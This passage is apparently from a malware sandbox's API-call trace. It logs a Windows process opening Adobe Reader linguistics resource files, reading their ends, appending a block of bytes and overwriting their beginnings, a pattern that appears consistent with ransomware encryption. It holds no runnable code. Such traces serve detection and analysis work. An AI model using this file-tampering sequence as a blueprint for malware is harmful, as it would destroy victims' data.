lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.052] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x44c3d [0045.053] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c8508*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.053] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.053] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.054] CloseHandle (hObject=0x1ac) returned 1 [0045.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7fff [0045.054] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.054] ReleaseMutex (hMutex=0x128) returned 1 [0045.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.054] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.065] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fff [0045.065] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.073] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fff [0045.073] WriteFile (in: hFile=0x1ac, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.074] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.074] CloseHandle (hObject=0x1ac) returned 1 [0045.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x51c [0045.074] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.075] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.075] ReleaseMutex (hMutex=0x128) returned 1 [0045.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.fca", lpUsedDefaultChar=0x0) returned 7 [0045.075] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x51c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x32cf2bc*=0x51c, lpOverlapped=0x0) returned 1 [0045.083] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.084] WriteFile (in: hFile=0x1ac, lpBuffer=0x261dca8*, nNumberOfBytesToWrite=0xaa4, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261dca8*, lpNumberOfBytesWritten=0x32cf2d0*=0xaa4, lpOverlapped=0x0) returned 1 [0045.084] CloseHandle (hObject=0x1ac) returned 1 [0045.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.109] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.109] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7fec [0045.110] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.110] ReleaseMutex (hMutex=0x128) returned 1 [0045.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est32.clx", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est32.clx", lpUsedDefaultChar=0x0) returned 9 [0045.110] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.115] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fec [0045.115] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.120] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6fec [0045.120] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.120] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.121] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.121] CloseHandle (hObject=0x1ac) returned 1 [0045.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn93.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn93.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.125] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.125] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4c800 [0045.125] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.126] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.126] ReleaseMutex (hMutex=0x128) returned 1 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn93.ths", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn93.ths", lpUsedDefaultChar=0x0) returned 9 [0045.126] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0045.138] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4b800 [0045.138] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.143] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x4b800 [0045.143] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0008*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0008*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.143] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.143] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a26d98*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.143] CloseHandle (hObject=0x1ac) returned 1 [0045.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.144] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.144] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x270 [0045.144] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.144] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.144] ReleaseMutex (hMutex=0x128) returned 1 [0045.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heb.fca", lpUsedDefaultChar=0x0) returned 7 [0045.144] ReadFile (in: hFile=0x1ac, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x32cf2bc*=0x270, lpOverlapped=0x0) returned 1 [0045.145] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.145] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f8, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x7f8, lpOverlapped=0x0) returned 1 [0045.145] CloseHandle (hObject=0x1ac) returned 1 [0045.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun109.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun109.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.146] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.146] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x9eeb8 [0045.146] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.146] ReleaseMutex (hMutex=0x128) returned 1 [0045.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun109.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun109.hsp", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hun109.hsp", lpUsedDefaultChar=0x0) returned 10 [0045.146] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a26d98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesRead=0x32cf278*=0xf000, lpOverlapped=0x0) returned 1 [0045.152] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a26d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x3a26d98*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.157] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9deb8 [0045.157] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0045.759] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9deb8 [0045.759] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.760] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0045.760] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.760] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.760] CloseHandle (hObject=0x1ac) returned 1 [0045.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lavphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.761] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.761] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7ec [0045.761] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.761] ReleaseMutex (hMutex=0x128) returned 1 [0045.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lavphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0045.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lavphon.env", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lavphon.env", lpUsedDefaultChar=0x0) returned 11 [0045.761] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x7ec, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x32cf2bc*=0x7ec, lpOverlapped=0x0) returned 1 [0045.861] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.861] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd74, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf2d0*=0xd74, lpOverlapped=0x0) returned 1 [0045.861] CloseHandle (hObject=0x1ac) returned 1 [0045.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.862] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.862] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x48c [0045.862] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.862] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.862] ReleaseMutex (hMutex=0x128) returned 1 [0045.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nyn.fca", lpUsedDefaultChar=0x0) returned 7 [0045.862] ReadFile (in: hFile=0x1ac, lpBuffer=0x2742168, nNumberOfBytesToRead=0x48c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x32cf2bc*=0x48c, lpOverlapped=0x0) returned 1 [0045.868] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0045.868] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc38*, nNumberOfBytesToWrite=0xa14, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesWritten=0x32cf2d0*=0xa14, lpOverlapped=0x0) returned 1 [0045.869] CloseHandle (hObject=0x1ac) returned 1 [0045.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0045.869] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0045.869] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7fec [0045.869] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 